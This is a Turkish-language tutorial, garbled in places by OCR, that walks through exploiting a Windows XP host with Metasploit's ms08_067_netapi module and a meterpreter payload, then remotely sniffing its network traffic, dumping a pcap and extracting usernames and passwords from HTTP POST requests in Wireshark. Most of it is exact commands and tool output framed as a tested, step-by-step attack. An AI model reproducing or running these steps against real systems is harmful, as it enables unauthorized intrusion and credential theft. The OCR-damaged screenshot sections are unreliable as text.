Hedef Makineye Sizmak ve Sonra Sniff'lemek
Gereksinimler

Eski Kali (kali-linux-1.0.4-amd64.iso)
Windows XP (Dandik)

NOT: Bu yazi birebir denenmistir ve basarili olunmustur.

Yerel network'te arp spoofing yaparak hedef makinanin trafigini sniff'leyebiliriz. Peki hedef makina
ile ayni local agda degilsek hedef makinayi yine de sniff'leyebilir miyiz? Meterpreter ile bu
miimkiin. Bu belge hedef makinayla ayni local agda olmadan nasil hedef makinanin
sniff'lenebilecegini gosterecektir.

Oncelikle hedef makinaya netapi zafiyeti ile sizacagiz. Ardindan meterpreter payload'u ile uzaktaki
hedefin ethernet kartin1 dinleyecegiz. Daha sonra dinleme iglemini sonlandirdigimizda hedef
makinada toplanan trafik paketlerini pcap uzantili dosya olarak makinamiza indirecegiz. En
sonunda da pcap dosyasini Wireshark ile inceleyip kullanic1 ad1 ve sifre gibi kritik bilgileri elde
edecegiz.

Simdi netapi zafiyeti iizerinden Windows XP (Dandik)'e sizalim.

msf > use exploit/windows/smb/ms08_067_netapi

msf (ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp

msf (ms08_067_netapi) > set LHOST 192.168.0.18 // Kali TP
msf (ms08_067_netapi) > set RHOST 192.168.0.19 // WinXP IP
msf (ms08_067_netapi) > exploit

[*] Started bind handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP — Service Pack 2 — lang: Turkish
[*] Selected Target: Windows XP SP2 Turkish (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (770048 bytes) to 192.168.0.19

meterpreter >
Meterpreter session'1 elde edilmistir. Simdi sniff'ing islemi icin hedefin ethernet kart1 interface'ini
ogrenelim.

meterpreter > use sniffer
meterpreter > sniffer_interfaces

Output:
1 -"AMD PCNET Ailesi PCI Ethernet Bagdastiricist' ( type:0 mtu:1514
usable:true dhcp:true wifi:false )



Goriildiigii tizere hedef makinanin ethernet kart modeli ¢iktiya yansimigtir. Simdi 1 numarali
interface'ten 20000 tane paket yakala emrini payload'a verelim:

meterpreter > sniffer_start 1 20000

Output:
[*] Capture started on interface 1 (20000 packet buffer)

Paketler bir bir yakalanirken arada bir sniffing durumunu gézlemlemek icin sniffer_stats komutunu
kullanalim:

meterpreter > sniffer_stats 1 // 1 nolu interface'in istatistikleri

Output:
[*] Capture statictics for interface 1
packets: 4085
bytes: 569713

Ardindan Windows XP (Dandik)'teki firefox'tan includekarabuk.com'un admin paneline login
olalim. Daha sonra yakalanan paketleri uzak sistemin buffer'indan kali'ye indirip bir dosyaya
yazmak icin agsagidaki komutu kullanalim:

meterpreter > sniffer_dump 1 /root/Desktop/win2.cap

Output:
[*] Flushing packet capture buffer for interface 1...
[*] Flushed 4095 packets (569713 bytes)
[*] Downloaded 022%
[*] Downloaded 044%
[*] Downloaded 066%
[*] Downloaded 089%
[*] Downloaded 100%
[*] Downloaded completed, converting to PCAP...
[*] PCAP file writtento /root/Desktop/win2.cap

Dosyalanan trafikte Wireshark'in filter'r ile madencilik yapabilir ve kullanici adi ve sifre gibi hassas
verileri cimbizlayabiliriz. Bunu gerceklemek icin dncelikle tiim trafigi barindiran dosyay1
wireshark'a dahil edelim. Ardindan Wireshark'in filter kutusuna asagidakini yazalim:

http.request.method == "POST"

POST methoduna gore sonug daraltmasina gidilmesi tercih edildi, ¢iinkii kullanici adi ve sifre gibi
bilgiler cogunlukla web sitelerinden sunucuya HTTP POST methodu ile gitmektedirler. Daralanan
sonuclardan goziimiize kestirdigimiz paketi (mesela includekarabuk'un /adminPaneli/index.php
sayfasina dair olan paketi) secelim:
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Filter: [http.raquast.mathod == "POST" Expression... Clear “ppl, Save
e Source Destination Protocol Length Info
200000 192.168.2.206 93.184.220.29 ocspP S03 Request
200000 216.58.212.14 ocsP 501 Request
elelelolele] 93.184.220.29 ocsP S03 Request
elelelolele] 83. 184.220.29 ocsP SO3 Request

ocsP S03 Request

dex.php HTTP/1.1

500000 ©53.89.224.247 HTTP 662 POST fadminPaneli/yorumOnayil.php HTTP/1.1 (applicatiol
200000 93.184.220.29 ocspP SO3 Request

Welelslelolo] 192.168.2.237 93.89.224.247 HTITP 768 POST /adminPaneli/index.php HTTP/1.1 (application/x-w
. 000000 192.168.2.237 93.89.224.247 HTTR 826 POST /adminPaneli/yorumOnayi.php HTTP/1.1 (applicatiol

Frame 1493: 615 bytes on wire (4920 bits), 615 bytes captured (4920 bits)
Ethernet II, Src: CadmusCo_lb:cd:a6 (08:00:27:1b:cd:a6), Dst: Airtiesw_fa:64:19 (18:28:61:fa:64:19)
Internet Protocol Version 4, Src: 192.168.2.206 (192.168.2.206), Dst: 93.89.224.247 (93.89.224.247)
Transmission Control Protocol, Src Port: cardax (1072), Dst Port: http (80), Seq: 1225, Ack: 2299, Len: S61
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Line-based text data: application/x-www-form-urlencoded

Ardindan sectigimiz pakete sag tiklayip Follow TCP Stream diyerek paketin icini okuyabilecegimiz
pencereyi acalim:

win2.cap [Wireshark 1.8.5]
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Filter: [http.requast.mnthod ="“POST" Expression... Clear ~;pl, Save
B Source Destination Protocol Length Info
200000 192.168.2.206 93.184.220.29 ocsP S03 Request
200000 192.168.2.206 216.58.212.14 ocsp S01 Request
200000 192.168.2.206 93.184.220.29 ocsp 503 Request
200000 192.168.2.206 93.184.220.29 ocspP Mark Packet (toggle) |
192.168.2.206 93.184.220.29 ocsP |

2 93.89.224,247 Ignore Packet (toggle) hp HTTP/1.1 (application/x-

192.168.2.206 93.89.224.247 HTTP Set Time Reference (toggle) yi.php HTTP/1.1 (applicatio
200000 192.168.2.206 93.184,220.29 ocsP ) )
. 000000 192.168.2.237 93.89.224.247 HTTP Time Shift... hp HTTP/1.1 (application/x-w
.000000  192.168.2.237 93.89.224.247 HTTP

Edit or Add Packet Comment... ayi.php HTTP/1.1 (applicatio
Manually Resolve Address
Apply as Filter by =

Prepare a Filter

Frame 1493: 615 bytes on wire (4920 bits), 615 bytes captured (

Ethernet II, Src: CadmusCo_lb:cd:a6 (08:00:27:1b:cd:a6), Dst: 19)
Conversation Filter >lan)
Transmission Control Protocol, Src Port: cardax (1072), Dst Por Colorize Conversation » 9., Len: S61
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Line-based text data: application/x-www-form-urlencoded SCTP

Follow TCP Stream




Follow TCP Stream

Stream Content
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Host: www.includekarabuk . com B Seq=1786 Ac

User-Agent: Mozilla/S.0 (Windows NT S5.1; rv:44.0) Gecko/20100101 Firefox/44.0

Accept: text/html,applications/xhtml+xml, application/xml;q=0.9,%*/%*;q=0.8 amOnayi . php

Accept-Language: tr-TR,tr;q=0.8,en-US;g=0.5,en;q=0.3 Seq=3635 Ac
Accept-Encoding: g=zip, deflate assembled F
Referer: http://www.includekarabuk.com/adminPaneli/index.php xt/html)

Cockie: PHPSESSID=fd310936c23fS04bdoa2g88dsT 144cafa
Connection: keep-alive

Content-Type: application/x-www-form-urlencoded
Content-Length: 46
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Pragma Fne-cache

Contenff-Type: textshtml I | h:64:19)
ContedF.| ennth- Qan > 3224.247)
IEnta conversation (12594 bytes) \ < l [ 2299, Ler
| Find | saveas | Print |OAsci O EBCDIC O HexDump O CArrays  ® Raw ‘ !

I Help l . Filter Out This Stream | l Close l

joolele) 18 28 Bl Ta B4 1Y Us UU L7 1D €O ao Us UU 45 U0 «Aa.0. .. LT .

0010 02 SO 07 Oc 40 00 S0 06 ef cb cO a8 02 ce Sd 59  .Y..@--- -.-... 1r

Gortiildiigi tizere paketin icerisindeki POST edilen degisken ve degerleri kullanici adi ve sifre imis.
Boylelikle hedef sistemin trafigini uzaktan sniff'leyerek hassas verilere ulagmis olduk.
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